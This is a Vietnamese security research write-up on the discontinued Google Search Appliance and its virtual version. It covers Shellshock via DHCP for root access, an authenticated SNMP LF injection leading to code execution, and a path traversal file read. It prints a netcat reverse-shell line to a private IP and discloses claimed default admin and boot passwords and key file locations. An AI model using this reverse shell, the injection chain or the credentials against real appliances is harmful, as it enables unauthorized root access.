Tài liệu Research Dust System
TL;DR
- RCE sau đăng nhập tại bảng điều khiển quản trị (Admin Console) của GSA.
- Path traversal trên giao diện tìm kiếm của GSA dẫn tới đọc tệp tùy ý.
- GSA dùng công nghệ Outside In của Oracle để chuyển đổi tài liệu.
- Một số dịch vụ web của Google có các URI cố định cung cấp thông tin về chính dịch vụ.

Thu thập thiết bị & phần mềm
Tôi mua được thiết bị bằng cách tìm kiếm từ khóa “Google Search Appliance” trên eBay. May mắn là chiếc đầu tiên còn dữ liệu chưa xóa. Tới nay vẫn có thể bắt gặp thiết bị đang được rao bán.
Liên quan vGSA: các liên kết công khai ban đầu đã bị gỡ. Tôi tìm được tệp qua magnet BitTorrent:
magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992
Tiếp đó, lần ra liên kết phần mềm phiên bản cũ từ Google Groups và dùng Wayback để suy luận quy tắc đặt tên tệp install_bundle-10000(3-chữ số)-7.(số).(số)-(số).bin, rồi viết shell script thử tải hàng loạt.
for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done
Kết hợp thêm thông tin tìm được trên Internet, Tôi truy hồi được danh sách tệp cài đặt và bản vá (ví dụ: install_bundle-10000661-7.2.0-270.bin, install_bundle-10000967-7.6.512-18.bin, v.v.).

vGSA (Virtual Google Search Appliance)
Sau khi nhập VM, hệ thống mặc định chỉ cung cấp chức năng cấu hình mạng và không cho shell hệ thống. Tuy nhiên vì VM chạy trong môi trường của Tôi, thường có thể giành quyền hệ thống bằng các cách:
- Chỉnh sửa trực tiếp tệp đĩa chưa mã hóa.
- Sửa đổi bộ nhớ máy ảo.
- Boot từ CD/đĩa của hệ điều hành khác.
- Khai thác lỗ hổng đã biết.
- Dùng mật khẩu quản trị/hệ thống hard-code.

CVE-2014-6271 (Shellshock)
Khi kiểm thử các thiết bị Linux đời đầu (đặc biệt họ RedHat), thường gặp lỗ hổng Shellshock, và vGSA 2008 cũng vậy. Chèn option 114 trong DHCP server sẽ đưa dữ liệu vào biến môi trường, kích hoạt lỗ hổng và thực thi lệnh. Ví dụ lệnh thử useradd zzzzgsa cho thấy được thực thi nhiều lần khi lỗi xuất hiện liên tục trên console.

Quan sát hệ điều hành vGSA
Sau khi có quyền OS, Tôi khảo sát môi trường mạng, ứng dụng chạy và hệ thống tệp. Một số ghi nhận:
- Phiên bản: 5.2.0.G.27.
- Dịch vụ chủ yếu viết bằng C/C++, Java, Python.
- Thư mục dịch vụ chính:
/export/hda3. /etc/shadowchứa tài khoản root với băm mật khẩu x███████████M.- Giao diện quản trị lắng nghe cổng 8000, 8443; mật khẩu mặc định admin:
j0njlRXpU5CQ. /.gnupgchứa khóa công/riêngent_box_key; cógoogle_license_key.- Thư mục
.ssh/authorized_keyscó nhiều khóa công; thư mục root có cặp khóa riêng. - Dùng Oracle Outside In để chuyển đổi tài liệu sang HTML.
- Java Runtime có Security Manager.
- Chức năng hỗ trợ kỹ sư dùng PPP tạo VPN;
/etc/ppp/chap-secretscó mật khẩu ( z██████c、]███████T ). - Mật khẩu boot menu trong
/etc/lilo.conf:cmBalx7. /export/hda3/versionmanager/google_key.symmetricchứa chuỗi có vẻ là khóa mã hóa đối xứng./export/hda3/versionmanager/vmanager_passwdcó 2 cặp username–password (admin…,google… ).

Các tiến trình cung cấp dịch vụ mạng (rút gọn):
| Cổng | Tiến trình | Ngôn ngữ | Chức năng |
|---|---|---|---|
| 22 | ssh | C/C++ | OpenSSH Server |
| 2100 | adminrunner.py | Python | Backend admin console |
| 4430/7800 | EnterpriseFrontend | Java | Frontend admin (https/http) |
| 7886 | tomcat | Java | Tomcat server |
| 8000/9450 | EnterpriseAdminConsole | Java | Admin console |
| 19900 | feedergate | C/C++ | ETL & feed |
Dù có nhiều dịch vụ, đa phần kết nối bị chặn bởi iptables. Cấu hình chính:
# Redirect privileged ports.
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
... (rút gọn) ...
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT

Bề mặt tấn công TCP thực sự truy cập được:
| Cổng | Dịch vụ | Vị trí chương trình |
|---|---|---|
| 22 | ssh | /usr/sbin/sshd |
| 7800/4430 | EnterpriseFrontend | /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar |
| 19900 | feedergate | /export/hda3/5.2.0/local/google/bin/feedergate |
| 8000 | EnterpriseAdminConsole | /export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar |
| 8443 | stunnel | /usr/sbin/stunnel |
Đáng chú ý, chuỗi trong /export/hda3/versionmanager/google_key.symmetric có thể dùng để giải mã nội dung các gói cài đặt. Sau khi có quyền bằng CVE-2014-6271 và giải mã được gói, phần nghiên cứu vGSA tạm kết thúc.
GSA (phần cứng)
Khi khởi động thiết bị đã cài, việc đổi thứ tự boot cần mật khẩu BIOS; giao diện quản lý thẻ RAID Dell H700 cũng bị giới hạn. Thử đọc trực tiếp ổ cứng thấy đây là ổ SED (Self-Encrypting Drive), cần mật khẩu để mở khóa. Có thể cân nhắc các hướng khác như đọc EEPROM BIOS để đổi boot order, dùng PCILeech đọc/ghi bộ nhớ để leo thang, hoặc tìm lỗ hổng phần mềm có thể truy cập — cách cuối cùng đơn giản và khả thi hơn.

LF injection trong Admin Console
Sau khi đăng nhập bảng điều khiển, nhận thấy có tính năng lấy thông tin hệ thống qua SNMP và cho phép chèn chuỗi tùy ý. Thử kỹ thuật LF injection (chèn ký tự xuống dòng) vào sysContact để thêm chỉ thị extend:
extend shell /bin/nc -e /bin/sh 10.5.2.1 4444
Sau khi chèn, dùng snmpwalk kích hoạt extend để thực thi shell và nhận kết nối ngược thành công.

Đọc tệp tùy ý
Từ dòng 6.x, dịch vụ web 80/443 dùng Apache httpd; một số thư mục được reverse proxy tới các dịch vụ cục bộ (Tomcat) qua các luật RewriteRule. Khi proxy giữa nhiều web server, điểm kiểm thử thú vị là logic chuẩn hóa đường dẫn của Tomcat với mẫu ..;/. Ở thành phần dps, servlet DPSDownloadServlet chỉ kiểm tra chuỗi có chứa .. hay không. Do đó có thể chỉ định đường dẫn tuyệt đối để đọc mọi tệp cục bộ. Phiên bản cũ không có /font nhưng /dps/admin/admin có vấn đề tương tự (truyền logName để đọc tệp), có thể đọc được mật khẩu từ giao diện quản trị, bẻ băm, đăng nhập, bật SNMP và kết hợp kỹ thuật đầu tiên để thực thi lệnh với quyền root.

Các phát hiện khác
URI nội bộ của dịch vụ web
Nhiều dịch vụ con giao tiếp qua HTTP, cung cấp các URL như /varz, /helpz, /procz. Có thể truy cập từ mạng tin cậy hoặc thông qua 127.0.0.1. Trên vGSA còn có tham số chạy dịch vụ useripheader=X-User-Ip; nếu gửi header này, có thể truy cập trực tiếp một số chức năng của admin console lộ ra bên ngoài. Endpoint /procz thậm chí có thể liệt kê executable và thư viện liên kết.

Danh sách mẫu thiết bị
| Mẫu | Hãng | Thông số | Phiên bản | Số tài liệu |
|---|---|---|---|---|
| Google Mini | Gigabyte | Pentium III 1G / 2GB / 120G | 3.4.14 | 300,000 |
| Google Mini-002X | SuperMicro | Pentium 4 3G / 2GB / 250G | 5.0.0 | unknown |
| Google GB-1001 | Dell Poweredge 2950 | Xeon / 16GB / 1.25TB | unknown | 3,000,000 |
| Google GB-7007 | Dell R710 | Xeon E5520 / 48GB / 3TB | unknown | 10,000,000 |
| Google GB-9009 | Dell | Xeon X5560 / 96GB / 3.6TB | unknown | 30,000,000 |
| Google G100 | Dell R720XD | unknown | unknown | unknown |

Phiên bản nhân Linux
| Phiên bản GSA | Phiên bản Kernel |
|---|---|
| 7.6.0 | Linux 3.14.44_gsa-x64_1.5 (gcc 4.9.x-google) #1 SMP Mon Nov 23 09:19:11 PST 2015 |
| 7.2.0 | Linux 3.4.3_gsa-x64_1.5 (gcc 4.6.x-google) #1 SMP Tue Jul 9 15:36:01 PDT 2013 |
| 7.0.14 | Linux 3.4.3_gsa-x64_1.3 (gcc 4.6.x-google) #1 SMP Thu Jul 19 11:59:57 PDT 2012 |
| 5.2.0 | Linux 2.6.20_vmw-smp_3.1 (gcc 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008 |

Timeline
| Thời gian | Sự kiện |
|---|---|
| 2005/06/10 | Java Code Injection (CVE-2005-3757) báo cáo bởi H D Moore |
| 2008/10/28 | Phát hành vgsa_20081028.7z (5.2.0) |
| 2014/03/20 | XSS (CVE-2014-0362) |
| 2016 đầu năm | Google thông báo ngừng kinh doanh GSA |
| 2017–2019 | Các bản 7.6.x phát hành tới 7.6.512.G18 (2019/04/26) |
| 2023/06/04 | Hoàn tất bản nháp bài viết |

Kết luận
Dù GSA/vGSA đã kết thúc vòng đời, việc tìm hiểu cách Google gia tăng bảo mật và giảm bề mặt tấn công cho thiết bị vẫn mang lại nhiều kiến thức quý giá. Ngoài phạm vi bài viết này, Java Security Manager và seccomp của Linux đều được sử dụng trong GSA. Hướng nghiên cứu tiếp theo: dịch vụ feedergate (19900), lỗ hổng bộ nhớ trong Oracle Outside In, và sandbox convert_to_html dùng seccomp.
